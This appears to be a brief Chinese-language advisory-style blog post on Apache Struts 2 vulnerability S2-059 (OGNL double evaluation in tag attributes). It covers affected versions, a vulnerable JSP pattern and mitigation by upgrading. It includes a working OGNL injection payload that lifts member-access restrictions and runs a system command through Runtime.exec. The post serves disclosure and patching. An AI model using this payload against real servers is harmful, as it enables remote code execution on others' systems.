s2 059 初步分析
阿新 • • 發佈:2020-08-14
影響範圍
Struts 2.0.0 - Struts 2.5.20
描述
Apache Struts 2 會對某些標籤屬性(比如 id)的屬性值進行二次表示式解析,並且在 Struts 標籤屬性內強制進行 OGNL 表示式解析時的情況因此在某些場景下將可能導致遠端程式碼執行。
例如服務端如下寫法
<s:url var="url" namespace="/employee" action="list"/><s:a id="%{skillName}" href="%{url}">List available Employees</s:a>
攻擊者如果可以控制skillName的話,則可以直接傳入一個 OGNL 表示式,那麼最終當標籤渲染的時候,skillName 的表示式就會因為二次解析而被執行。
該漏洞類似於s2-029/s2-036 都是由於struts2 tag解析而引起的ognl表示式。
poc
poc與s2-029/036 的寫法一樣,以下為網上例子
skillName=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))
業務方自查
重點檢查 jsp頁面中是否存在上述示例寫法。
緩解措施
建議升級至 Struts 2.5.22 。如果升級s2元件對您的業務有影響,請參考struts官方文章中如何防止ognl注入。例如可以在沙箱中執行ognl表示式
參考
https://cwiki.apache.org/confluence/display/WW/S2-059?spm=a2c4g.11174386.n2.3.40ac1051vjfTnI